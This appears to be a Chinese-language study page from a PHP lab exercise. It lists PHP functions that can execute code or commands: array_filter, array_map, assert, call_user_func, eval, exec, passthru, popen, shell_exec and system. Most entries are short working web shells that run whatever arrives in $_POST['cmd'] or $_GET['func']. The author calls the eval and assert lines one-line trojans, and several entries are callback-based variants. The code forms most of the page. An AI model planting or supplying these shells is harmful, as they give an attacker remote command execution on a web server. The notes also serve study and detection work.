array_filter
1 2 3 4 5 6 7 8 9 10
| <?php $cmd=$_POST['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func);
?>
|
![image-20240122001540451](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/php-exec/image-20240122001540451.png)
array_filter就是让每一个数组里面的成员都执行一遍回到函数,这个可以考虑python 的map
array_map
1 2 3 4 5 6 7 8
| <?php $func=$_GET['func']; $cmd=$_POST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); echo $new_array;
?>
|
和array_filter一样的
assert
1
| <?php @assert($_POST['cmd'])?>
|
这个就是一句话木马
只不过这个我们得使用system等函数
而且需要注意有一些函数他不返回结果的(exec,shell_exec)
但是会被执行
![image-20240122002353663](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/php-exec/image-20240122002353663.png)
call_user_func_array
1 2 3 4 5 6 7
| <?php $cmd=$_POST['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array);
?>
|
![image-20240122002535439](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/php-exec/image-20240122002535439.png)
call_user_func.php
1 2 3 4 5
| <?php call_user_func("assert",$_POST['cmd']);
?>
|
![image-20240122002659328](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/php-exec/image-20240122002659328.png)
eval
一句话木马不多说
1
| <?php @eval($_POST['cmd']);?>
|
exec
这个函数不会输出浏览器
1 2 3 4 5 6 7 8 9 10 11
| <?php
$cmd=$_POST['cmd']; @exec($cmd, $return); var_dump($return); ?>
|
就和system 是一个效果
passthru.php
1 2 3 4 5
| <?php $post = $_POST['cmd']; $output = passthru($post); echo "$output";
|
popen
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php $fd = popen("whoami", 'r'); $ret = fgets($fd); print($ret);
?>
|
![image-20240122003506918](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/php-exec/image-20240122003506918.png)
shell_exec.php
1 2 3 4
| <?php $output = shell_exec('ls -lart'); echo "<pre>$output</pre>"; ?>
|
![image-20240122004650284](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/php-exec/image-20240122004650284.png)
system
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php echo '<pre>';
$last_line = system('ls', $retval);
echo ' </pre> <hr />Last line of the output: ' . $last_line . ' <hr />Return value: ' . $retval; ?>
|
![image-20240122004747559](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E9%9D%B6%E5%9C%BA%E8%AE%B0%E5%BD%95/php-exec/image-20240122004747559.png)